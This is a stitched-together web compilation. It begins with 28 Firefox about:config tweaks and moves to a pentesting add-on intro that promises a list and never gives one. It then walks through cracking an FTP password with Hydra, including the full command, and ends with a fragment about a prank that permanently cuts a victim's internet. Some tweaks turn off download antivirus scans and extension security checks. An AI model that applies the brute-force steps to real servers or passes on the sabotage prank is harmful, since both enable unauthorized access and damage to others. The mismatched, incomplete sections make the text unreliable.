Firefox About:Config Tricks

You may have installed countless add-on in Firefox to enhance your using experience, but if you want to get the most out of Firefox, you really have to hack your way into the about:config.

The about:config page contains most (if not, all) of Firefox configuration options. It is so far the most effective, and the most powerful way to tweak and enhance your Firefox performance. Here are 28 of the popular tweaks.

Accessing your about:config page

In your Firefox, type about:config in the address bar.

about-config

You will be shown a warning page. Click the “I’ll be careful, I promise!” button to proceed.

firefox-config-warning

On the main page, you will see a long list of configuration entries. Enter the name of the key you want to update in the “Filter” field. The list will narrow to only the entries that match your keyword as you type. To modify the value, simply double click on the entry value field and update the entry. That’s all! Isn’t that simple? Now, let’s get to the tweaking.

1) Adjust the Smart Location Bar’s Number of Suggestions

In Firefox 3, when you start typing in the location bar, a drop-down list of suggestion URLs will be shown. If you want it to show more than 12 suggestions (12 is the default), you can adjust thebrowser.urlbar.maxRichResults keys and get it to show the number you want. firefox-smart-location Config name: browser.urlbar.maxRichResults Default: 12 Modified value: Set to your desired number of suggestion. If you want to disable it all together, set it to -1

2) Disable the session restore function

Firefox 3 automatically saves your session every 10 secs so that whenever it crashes, it can restore all your tabs. While this is a useful feature, some of you might find it irritating. To disable this function, toggle the value of browser.sessionstore.enabled to False Config name: browser.sessionstore.enabled Default: True Modified value: False if you want to disable the session restore function

3) Adjust the Session Restore Saving Frequency

Same as above, if you decided to keep the session restore feature on, but want to reduce the session saving frequency, change the value of browser.sessionstore.interval so that Firefox will save the session at a longer interval. Config name: browser.sessionstore.interval Default: 10000 (in msecs, equivalent to 10secs) Modified value: Set it to your desired value. 1000 means 1 sec and 60000 means 1 minute.

4) Enable Advanced Color Profile Support

Firefox has this advanced color profile features that display higher image quality. It is not enabled by default as it has a negative effect on the performance of the browser. If you are concern with the image quality rather than the performance, you can activated it via thegfx.color_management.enabled setting Config name: gfx.color_management.enabled Default: False Modified value: True (if you want to activate the color profile support feature)

5) Disable Antivirus Scanning

This is mainly for Windows users. By default, Firefox 3 automatically scan the downloaded file with the default anti-virus application to make sure it is free of virus. If you download a big file, it could take a long time for the whole scanning process to complete. To increase the performance of the browser, you might want to consider disabling the anti-virus scanning via thebrowser.download.manager.scanWhenDone key. Config name: browser.download.manager.scanWhenDone Default: True Modified value: False (if you want to disable it)

6) Configuring The Scrolling Tabs

When you opened many tabs, Firefox will not keep on reducing the tab width. Instead, it shows a scrolling bar so that the min width (100px) is conserved and you can scroll to find your tabs. If you are those who don’t like the scrolling tab function and prefer Firefox to show all the tabs, regardless how small it is, you can set the value of browser.tabs.tabMinWidth to 0 to disable it. Similarly, if you want Firefox to display more tabs before showing the scrolling button, you can reduce the default value to a lower value, say 75 pixels. Firefox-scrollingtab Config name: browser.tabs.tabMinWidth Default: 100 Modified value: 0 if you want to disable the scrolling functions, other values to set the min width value

7) Show/Disable Close button on Tabs

Some people love to see the Close (the red X) button on every tabs, but some hate it. Whatever is it, you can configure it to your preferences via the browser.tabs.closeButtons setting. firefox-tab-close Config name: browser.tabs.closeButtons Default: 1 Modified values: 0 – display a close button on the active tab only 1- display close buttons on all tabs 2- don’t display any close buttons 3- display a single close button at the end of the tab strip

8) Extend Scripts Execution Time

In Firefox 3, a script is only given 10 seconds to respond, after which it will issue a unresponsive script warning. If you are hooked on a slow network connection, you might want to increase the script execution time via dom.max_script_run_time to cut down on the frequency of the no script warning. Config name: dom.max_script_run_time Default:10 (in secs) Modified value: 20, or any values greater than 10

9) Handling JavaScript Popups

When you come across a site that executes a javascript open new window function, and if the popup window is without all the usual window features, i.e. back/forward/reload buttons, status bar etc, Firefox will automatically treat it as a popup and will not open it as a new tab. However, if you find this to be a nuisance and wanted to open all new windows in a new tabs, you can specify it via the browser.link.open_newwindow.restriction setting. Config name: browser.link.open_newwindow.restriction Default: 2 – Open all JavaScript windows the same way as you have Firefox handle new windows unless the JavaScript call specifies how to display the window Modified values: 0 – open all links as how you have Firefox handle new windows 1 – do not open any new windows 2- open all links as how you have Firefox handle new windows unless the Javascript specify how to display the window

10) Enable Spell Checking In All Text Fields

The default spell checking function only checks for multi-line text boxes. You can get it to spell-check for single line text box as well. Config name: layout.spellcheckDefault Default: 1 (spell checker for multi-lines text boxes only) Modified values: 0 – disable the spell checker 2 – enable the spell checker for all text boxes

11) Open Search Box Results In New Tab

When you search using the search box at the top right hand corner of the browser, it will display the search results in the current tab. If you don’t want the search to interfere with your current tab, you can tweak the browser.search.openintab to make it open in a new tab. Config Name: browser.search.openintab Default: False Modified value: True (open search box results in new tab)

12) Lower The Physical Memory Used When Minimized

This tweak is mainly for Windows users. When you minimize Firefox, it will send Firefox to your virtual memory and free up your physical memory for other programs to use. Firefox will reduce its physical memory usage, when minimized, to approximately 10MB (give or take some) and when you maximize Firefox it will take back the memory that it needs. The preference name does not exist and needs to be created. Right click on the background and select New->Boolean. Enter the name when prompted: config.trim_on_minimize Enter the values: True

13) Speed up your Firefox

Several tweaks required for this Config name: network.http.pipelining Default: False Modified value: True Config name: network.http.proxy.pipelining Default: False Modified value: True Config name: network.http.pipelining.maxrequests Default: 4 Modified value: any value higher than 4, but not more than 8 Config name: network.http.max-connections Default: 30 Modified value: 96 Config name: network.http.max-connections-per-server Default: 15 Modified value: 32

14) Increase/Decrease the Amount of Disk Cache

When a page is loaded, Firefox will cache it into the hard disk so that it doesn’t need to be download again for redisplaying. The bigger the storage size you cater for Firefox, the more pages it can cache. Before you increase the disk cache size, make sure that browser.cache.disk.enable is set to True. Config name: browser.cache.disk.capacity Default: 50000 (in KB) Modified value: 0 – disable disk caching any value lower than 50000 reduces the disk cache any value higher than 50000 increases the disk cache.

15) Select all text when click on the URL bar

In Windows and Mac, Firefox highlights all text when you click on the URL bar. In Linux, it does not select all the text. Instead, it places the cursor at the insertion point. Regardless which platform you are using, you can now tweak it to either select all or place cursor at insertion point. firefox-select-all Config name: browser.urlbar.clickSelectsAll Modified value: False – place cursor at insertion point True – select all text on click

16) Autofill Address in URL Bar

Other than the smart location feature, you can also get your URL bar to autofill the address as you type the URL. firefox-autofill Config name: browser.urlbar.autofill Default: False Modified value: True (Have Firefox autofill the address as you type in the URL bar)

17) Same Zoom Level For Every Site

Firefox remembers your zoom preference for each site and set it to your preferences whenever you load the page. If you want the zoom level to be consistent from site to site, you can toggle the value of browser.zoom.siteSpecific from True to False. Config name: browser.zoom.siteSpecific Default: True Modified value: False (enable same zoom preferences for every sites)

18) Setting your zoom limit

If you find that the max/min zoom level is still not sufficient for your viewing, you can change the zoom limit to suit your viewing habits. Config name: zoom.maxPercent Default: 300 (percent) Modified value: any value higher than 300 Config name: zoom.minPercent Default: 30 (percent) value: any value

19) Configure Your Backspace Button

In Firefox, you can set your backspace to better use by getting it to either go back to the previous page or act as page up function. Config name: browser.backspace_action Default: 2 (does nothing) Modified value: 0 – go back previous page 1- page up

20) Increase Offline Cache

If you do not have access to Internet most of the time, you might want to increase the offline cache so that you can continue to work offline. By default, Firefox 3 caches 500MB of data from supported offline Web apps. You can change that value to whatever amount of your choice. Config name: browser.cache.offline.capacity Default: 512000 (in KB) Modified value: any value higher than 512000 will increase the cache value

21) Auto Export Firefox 3 bookmarks to bookmarks.html

Unlike the previous version, Firefox 3 backup the bookmarks file in places.sqlite rather than the usual bookmarks.html. Since bookmarks.html allows us to export and sync our bookmarks with other browser, it will be very useful if Firefox 3 can backup the bookmark to the bookmarks.htmlas well. Config name: browser.bookmarks.autoExportHTML Default: False Modified value: True (auto export bookmarks file to bookmarks.html)

22) Disable Extension Compatibility Checks

This is useful if you want to use an extension that is not supported by your version of Firefox badly. It is not recommended, but you can still do it at your own risk. Right click and select New->Boolean. Enter extensions.checkCompatibility in the field. EnterFalse in the next field. Right click again and select New->Boolean. Enter extensions.checkUpdateSecurity into the field and enter False into the next field.

23) Disable Delay Time When Installing Add-on

Everytime you wanted to install a Firefox add-on, you will have to wait for several secs before the actual installation starts. If you are tired of waiting, you can turn the functionsecurity.dialog_enable_delay off so that the installation will start immediately upon clicking. firefox-add-on-delay Config name: security.dialog_enable_delay Default: 2000 (in msec) Modified value: 0 – start installation immediately any other value (in msec)

24) View Source in Your Favorite Editor

This is very useful for developers who are always using the ‘view source‘ function. This tweak allows you to view the source code in an external editor. There are two configuration need to be made: Config name: view_source.editor.external Default: False Modified value: True ( enable view source using external text editor) Config name: view_source.editor.path Default: blank Modified value: insert the file path to your editor here.

25) Increasing ‘Save Link As‘timeout value

When you right click and select the ‘Save Link As…‘, the browser will request the content disposition header from the URL so as to determine the filename. If the URL did not deliver the header within 1 sec, Firefox will issue a timeout value. This could happen very frequently in a slow network connection environment. To prevent this issue from happening frequently, you can increase the timeout value so as to reduce the possibility of a timeout. Config name: Browser.download.saveLinkAsFilenameTimeout Default: 1000 (1 sec) Modified value: any value higher than 1000 (value is in msec)

26) Animate Fullscreen Toolbar Collapse mode

In Firefox’s fullscreen mode, toolbars and the tab strip are hidden at the top of the screen and only shown on mouseover. To draw attention to this, there is an animation of the toolbar sliding upwards and off-screen when fullscreen mode is toggled on. For performance issue, the animations of the collapse of the toolbar only appear for the first time. For some reason that you may love/hate the animation, you can adjust Browser.fullscreen.animateUp to switch it on/off for every collapse. Config name: Browser.fullscreen.animateUp Default: 1 (animate the toolbar collapse only the first time) Modified value: 0 -disable the animation 2- enable the animation for every collapse

27) Autohide Toolbar in Fullscreen mode

In fullscreen mode, the toolbar is set to autohide and appear upon mouseover. If you have a need to view the toolbar at all time, you can toggle the value of browser.fullscreen.autohide to Falseto always show the toolbar. Config name: browser.fullscreen.autohide Default: True (always autohide) Modified value: False (always show the toolbar)

28) Increase Add-On search result

If you go to Tools->Add-ons->Get Add-ons and perform a search there, Firefox will only fetch anddisplay 5 matching results. If you want Firefox to show more than 5 results (say 10), you can adjust extensions.getAddons.maxResults to get it to display more results. Config name: extensions.getAddons.maxResults Default: 5

Modified value: any value more than 5.

Turn FireFox into Penetration Tool

Firefox is a popular web browser from Mozilla. Popularity of Firefox is not only because it’s a good web browser, it also supports add-ons to enhance the functionality. Mozilla has a website add-on section that has thousands of useful add-ons in different categories. Some of these add-ons are useful for penetration testers and security analysts. These penetration testing add-ons helps in performing different kinds of attacks, and modify request headers direct from the browser. This way, it reduces the use of a separate tool for most of the penetration testing related tasks. In this brief post, we are listing a few popular and interesting Firefox add-ons that are useful for penetration testers. These add-ons vary from information gathering tools to attacking tools. Use what you think helpful. All these add-ons are available for free and you can download from the Mozilla add-on website. There are some premium add-ons like Dominator pro which is also available for purchase from official websites. See the list of free add-ons below.

Hydra to crack FTP passwords

It reveals the basics of hacking a FTP server using dictionary search technique. Here are the steps involved.

1) Download the software hydra 5.4 form the below mentioned link.

http://freeworld.thc.org/thc-hydra/

2) Save files in any location. For convenience download the files in c:\.

3) For this demonstration a basic FTP server is setup on the network with IP address 192.168.1.4 (port 21)

4) Open a command prompt and navigate to the hydra folder. Type “hydra“or “hydra—help“to access the built-in help.

5) Type the syntax in a notepad before entering into command prompt.

6) Type the following syntax “hydra -| user –P dic.txt –e ns -vV 192.168.1.4 ftp “into notepad. Copy the syntax and paste it in command prompt. press enter.

7) The dict.txt contains the keywords for checking the FTP server password and username.

8) For demonstration purpose the dictionary fie is named”dic.txt” with some fake words and one real password of the FTP server and also the user name is already known as “user”. Hydra will find the password.

9) Hydra found the password“darkness“for this demonstration. Now that we have a username/password pair we can login to the server access the files in the ftp server.

10) Depending on the privileges of the account you got access to edit/delete/upload files. Use a Ftp client such as filezilla to edit or upload files if you have the privilege to do.

SHUT YOUR INTERNET PERMENANTLY

This is a slightly more advanced one. It shuts down your internet permanately. I tried it on myself accidently, i knew what it did, and it still took me a couple of days to get my internet back. works best on XP, not tested on vista or 7. EDIT: At the bottom put a rickroll site or something. BTW, that 3rd line, isnt what disables the internet permanately. It is somethinge else, that just provides a fast response to shut down any connections.
